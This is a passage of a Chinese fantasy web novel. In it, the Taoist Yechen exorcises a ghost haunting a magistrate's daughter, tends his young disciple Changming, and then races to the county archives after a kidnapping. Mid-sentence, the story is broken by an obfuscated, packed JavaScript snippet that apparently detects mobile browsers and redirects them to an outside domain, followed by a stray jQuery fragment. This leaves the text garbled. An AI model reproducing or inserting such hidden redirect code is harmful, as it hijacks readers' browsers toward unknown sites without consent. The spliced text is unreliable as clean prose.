“小蕊!”郭夫人尖叫着往郭蕊走去,却被郭县令死死拽住。
“你冷静一点,多少次了,你只能被她伤到。”
掖尘默念口诀,青流剑腾空出鞘,悬浮至郭蕊眼前:“二位请后退。”
“请道长莫要伤及小蕊性命!”郭夫人却更激动了,只因不清楚掖尘即将做什么。
掖尘头也不回,步伐坚定地往郭蕊走:“郭夫人宽心。”
青流剑自带煞气,郭蕊直面剑身,露出痛苦之色。接着,孩童般的眼神恢复如初,可没过多久,再次被空洞的眼神取代。
掖尘知道,郭蕊在挣扎:“孽障,还不速速离开!”
随着黄色符纸落在郭蕊胸前,一道黑色身影抽离郭蕊身体,后者软绵绵倒在地上、不省人事,被郭夫人冲上前抱在怀里。
黑影企图逃跑,被青流剑拦住去路。
掖尘快速抽出第二道符纸,大喝一声:“显!”
黑影泛起波澜,逐渐成为一个人影,再有四肢、头部、五官。
“阿箬!”郭县令激动起来,看着人影一眨不眨。
掖尘见女鬼一身得体服装、头戴珠玉,很快猜出对方身份。
“看来,鬼魅作祟,也是起于人心。”
“阿箬,你亡故多年,何以仍在此逗留啊?”郭县令的声音难掩悲恸。
女鬼企图回头,脖颈却格外僵硬,宛如提线木偶,每转动一下,皆发出“咯噔”声,在寂静的深夜显得格外恐怖。
郭夫人吓得紧紧抱住郭蕊,几欲晕死过去。
“夫君,我尸骨未寒,你怎可另娶?还是和我最信任的妹妹!”女鬼话音刚落,露出獠牙和尖利的指甲,冲向郭县令。
掖尘握住青流剑,抵挡住女鬼的指甲,女鬼发出惨烈的叫声,震得人耳膜生疼。
“不要伤害她,道长,阿箬病逝得早,留下了两个儿子,一生实属不易。”郭县令跪下来,替女鬼求情。
女鬼触电般,远离几个人,望着自己的双手:“我在做什么?不,不是我的错,是你们,你们根本不爱我!”
眼瞅着女鬼再次发作,郭夫人跪坐在郭县令身边。
“姐姐,不,夫人,千错万错,都是我的错。是我在县令醉酒时,穿了你生前的衣裳,你要怪就怪我吧!不要伤害县令,更不要伤害小蕊,他们都是无辜的!”
郭县令闻言,大惊失色:“不,夫人,是我色令智昏,不关她们母女的事啊!我如今只求一家和睦、团团圆圆,别的再无所求啊!”
“你们够了!都到这时候了,还在秀恩爱!”女鬼气不过,整个人长发散乱。
掖尘瞬移到女鬼和县令之间,阻挡女鬼的攻势,取出流光瓶。
“你若真有歹意,郭蕊不会存活至今。你本心存善念,何必徒增业障?你若愿意,可先存活于流光瓶中,洗净周身执念,待我处理完这里的事务,陪你前往幽冥转世。”
“我不甘心!”女鬼嗓子眼儿里发出嘶吼,长发如瀑布般垂下,拖及地面,逐渐蔓延……眼瞅着就要抵达郭县令跟前。
掖尘手起剑落,斩断青丝。女鬼发出凄惨的叫声,连连后退。
“放弃吧,你是病逝,非人为伤害。如今他们也有了自己的家庭,待你两个孩儿也亲如己出,莫要再错下去了!等你入了轮回,有缘自会再见的。”掖尘苦口婆心,要对付一个女鬼,于掖尘而言易如反掌,可他希望阿箬自行进入流光瓶、入轮回,可减轻给予郭蕊的罪孽。
“阿箬,我心里一直是有你的,夫人也一直当你是好姐妹。既然你这么多年没走,就该清楚,每年清明、中元、冬至,我们皆会给你烧纸钱,元宝都是夫人一个个叠的,偶尔小蕊也会帮忙。你我此生缘分尽了,来生若你不嫌弃,我定八抬大轿迎你过门!”
女鬼跌坐在地上,企图哭泣,无奈一滴泪也没有。
掖尘见状,知道女鬼做出了妥协,默念口诀,流光瓶散发出的光芒将女鬼笼罩,直至消失。
“道长,阿箬她……去哪里了?”郭县令一脸关切,望着女鬼消失的地方,怅然若失。
掖尘盖上瓶盖,别在腰间,晃了晃:“搁这呢,放心吧,我会照看好她的。”
郭夫人则更关心昏迷不醒的郭蕊:“那我女儿,还有救吗?”
掖尘指了指卧房:“抱上她,来室内,我把脉看看。”
郭夫人的双手紧握,人一直在颤抖,盯着掖尘的侧脸,等待诊脉结果。
“小小姐先天不足、气血两虚,加上八字纯阴,往后务必要悉心照看。清明、中元前后三日,日落后就不要出门了。我再开一张调理的方子,明天夫人去医馆抓取。请记得,莫要提及贫道,今晚的事,也莫要声张。大夫若询问,便说是老爷梦到的方子。你们的真心感动了上天,神仙来托梦救小小姐了。”掖尘知晓郭县令威望高,此番说辞不会令百姓起疑。
“道长尽管住下,等住到离开邯郸都行。”郭夫人感激握着发黄的纸笺。
掖尘却之不恭:“多谢。”
掖尘踱步回到郭夫人安排的小苑,意外发现苌茗尚未灭烛就寝。小小的人影映在纸窗户上,一晃一晃的读书摸样,颇为可爱。
掖尘推开门,苌茗抬眸的一瞬,睡意朦胧的眸子变得清亮明媚。
“师傅,你回来了?请坐,徒儿要背书。”
掖尘本想让苌茗先休息,不必急于一时,看着苌茗期待的眼神,终是没忍心,翻开经文,听苌茗背诵。
苌茗起初结结巴巴,掖尘正准备喊停,却顺畅起来,一口气背了五篇。
“这就是你不睡觉的理由?”掖尘不知该夸奖还是批评苌茗,只得无奈叹气。
苌茗撒娇般拉着掖尘的手臂晃动:“师傅,我只是想看你笑。”
“那你先睡吧。”其实,掖尘并不敢保证,苌茗在规定时间内背诵完经文,他能笑得出来。许久不笑,都快忘记如何动作了。
苌茗乖巧躺下,却盯着掖尘看。掖尘打开灯罩,吹灭烛火,一回头,苌茗一双黑眸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320524|180898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如星辰般,亮晶晶的。
“怎么了?莫不是还要为师给你讲故事?”
“可以吗?”苌茗再次撒娇。
掖尘在床边坐下,思忖片刻,缓缓开口:“很久很久以前,有个小男孩,过着食不果腹、衣不蔽体的生活。家乡历经战乱、大旱、饥荒,父母皆为保护他而死,他一个人孤零零的,偌大的天地之间,仿佛只剩下他一个人,不知归路……”
掖尘再垂头,却见苌茗已闭上眼睛,长长的睫毛在眼底投射下阴影,睡颜娇媚。掖尘再次叹气,拉扯被子,将苌茗整个人包裹起来。
“啊——”女性尖锐的惊叫声打破夜的宁静。
苌茗睁眼,拔腿就往外跑。
“苌茗!”掖尘紧跟其后,天知道苌茗怎么比兔子跑得还快。
声源方向在府邸外面的巷子里,待掖尘和苌茗赶到,只看到地上遗落的丝绢,空气中弥漫着妖邪之气。
掖尘辨认出这个熟悉又陌生的气味:“是徐道长!”
苌茗捡起地上的鞋:“若是谛听在就好了。”
“糟了!这徐道长怕是待在邯郸已久,早在暗处看到我们。郭蕊是个幌子,我们上当了!”掖尘的自责难以言说,早在他自以为精心布下棋局的时候,对方已经让他身入局中。
掖尘扭头就走,回到府邸的时候,郭府已灯火通明,显然被方才的动静惊醒。
郭县令看着掖尘满头大汗的样子,急切询问:“可是发生了什么?”
“郭县令,可有本县百姓的户籍信息,带生辰八字的那种?”
郭县令不假思索点头:“有是有,但在衙门,离府邸有段路,眼下晚了,没有轿子送道长。”
“不需要轿子,烦请带路。”
从府邸到衙门,郭县令倒是步行惯了,迟疑是怕怠慢了掖尘。可方才见识过掖尘的本领,现下见其着急,知晓定发生了不一般的事,匆忙套了外衫、取了钥匙,带着两个家丁便往衙门去。
衙门黑漆漆的,除小屋守门的衙役,再无旁人。衙役被脚步声惊喜,正欲叫骂,提上灯笼,瞧见自家县令,又赔上笑脸。
“县令,这么晚了还来?”
“临时有事,你继续守着,不必管本官。”郭县令屏退左右,只带了掖尘和苌茗前往库房。
历年案件卷宗及百姓户籍,本是机要文件,需有官府证明才能调取,郭县令为掖尘“开后门”,自得小心谨慎。
“道长救命之恩,没齿难忘,但今晚的事,还请不要声张。”郭县令边打开库房门,边环顾左右。
掖尘首肯:“那是自然,郭县令放心,贫道只查阅一下相关记载便走。”
“好,那我在门口守着,你们快去快回。里面一应卷宗,皆按年份排序,道长一看书架旁的刻字便知。”
“多谢。”掖尘道谢完,推开门,陈旧竹简和纸张的气味扑面而来。
苌茗点燃屋内蜡烛,举着烛台跟随掖尘。掖尘望着二十几排书架,感慨今晚注定无眠。